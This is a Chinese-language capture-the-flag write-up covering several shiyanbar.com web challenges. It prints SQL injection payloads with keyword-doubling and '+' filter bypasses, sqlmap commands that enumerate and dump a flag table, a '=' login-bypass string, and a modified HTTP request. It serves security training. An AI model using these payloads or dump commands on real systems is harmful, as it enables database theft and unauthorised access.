简单的sql注入1:
实验网址:http://ctf5.shiyanbar.com/423/web/
根据标题暗示、在输入框中输入1、
发现网址变成了http://ctf5.shiyanbar.com/423/web/?id=1
接着使用单引号报错法、在网址后面加个单引号、 You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1''' at line 1
发现报错了、那么说明存在注入点、然后使用联合查询语句:
union select flag from flag where'1'='1
至于表名和字段名是猜出来的哈、慢慢猜、脑力活、我这里猜都是flag、
根据报错提示可以看到关键词都被过滤了、那么尝试最简单的双重关键词、
unionunion selectselect flag fromfrom flag wherewhere'1'='1
还是报错了、通过报错信息发现空格被过滤了、 You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'unionselectflag fromflag wherewhere'1'='1'' at line 1
那么我们尝试使用+号连接、那么查询语句就变成了:
+unionunion+selectselect+flag+fromfrom+flag+wherewhere+'1'='1
然后就成功查询到了想要的flag:
ID: 1' union select flag from flag where'1'='1
name: baloteliID: 1' union select flag from flag where'1'='1
name: flag{Y0u_@r3_5O_dAmn_90Od}
简单的sql注入3:
实验网址:http://ctf5.shiyanbar.com/web/index_3.php
这一次的注入难度又升级了、要么回复Hello要么回复空显、
我们用分号报错法、是的又是分号报错、系统提示的报错以及文件路径:
Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in F:\A1bnH3a\ctf\web\index_3.php on line 30You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1''' at line 1?
这个就有意思了、看到路径一般的思路都是sqlmap跑一跑、特别是这个明显有注入点的站、废话不多说、开跑了、
首先跑出数据库来:sqlmap.py -u http://ctf5.shiyanbar.com/web/index_3.php?id=1 --dbs
然后发现它一共有2个数据库、
available databases [2]:
information_schema
web1
不知道flag在哪个库那么我们直接来跑表:sqlmap.py -u http://ctf5.shiyanbar.com/web/index_3.php?id=1 --tables
然后能看到web1数据库中有我们想要的表、
另外一张表数据有些多我就不贴出来了、
Database: web1[2 tables]
+---------------------------------------+
| flag |
| web_1 |
+---------------------------------------+
那么直接跑我们想要的表flag:sqlmap.py -u http://ctf5.shiyanbar.com/web/index_3.php?id=1 -D web1 -T flag -C flag --dump
就能直接得到flag了、
Database: web1Table: flag[1 entry]
+----------------------------+
| flag |
+----------------------------+
| flag{Y0u_@r3_5O_dAmn_90Od} |
+----------------------------+
匿名登陆
实验地址:http://ctf5.shiyanbar.com/web/wonderkun/web/index.html
题目说已经过滤了所有、那么我们怎么注入呢、
正常的sql语句是这样的:
Select * form user where username=’$_POST’;
$_POST就是我们登陆时输入的内容、那么我们注入的思路就是:
Select * form user where username=’1’=’1’;
然后发现系统报错、说明过滤了某些元素、1等于1过不了那就尝试一下空等于空、
Select * form user where username=’’=’’;
然后就得到了我们想要的flag以及username和password:
ctf{51d1bf8fb65a8c2406513ee8f52283e7}
hint:
username:'='
password:'='
Catch2
实验地址:http://ctf5.shiyanbar.com/basic/header/
根据报错提示说明要改响应头: ForbiddenYou don't have permission to access / on this server.Make sure you are in HongKong
还是一样的工具、抓到数据之后把 zh-CN改为 zh-HK即可:
GET /basic/header/ HTTP/1.1
Host: ctf5.shiyanbar.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: PHPSESSID=b9d3507a70c7abcd16f7165234e06374
Connection: close
Upgrade-Insecure-Requests: 1
改过之后得到KEY:
HTTP/1.1 200 OK
Date: Tue, 11 Apr 2017 09:59:25 GMT
Server: Apache/2.4.18 (Win32) OpenSSL/1.0.2e PHP/5.2.17
X-Powered-By: PHP/5.2.17
Content-Length: 288
Connection: close
Content-Type: text/html
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>403 Forbidden</title>
</head><body>
<h1>Forbidden</h1>
<p>You don't have permission to access /
on this server.</p>
</body>
</html>
<br><br>KEY:123JustUserAGent<br><br>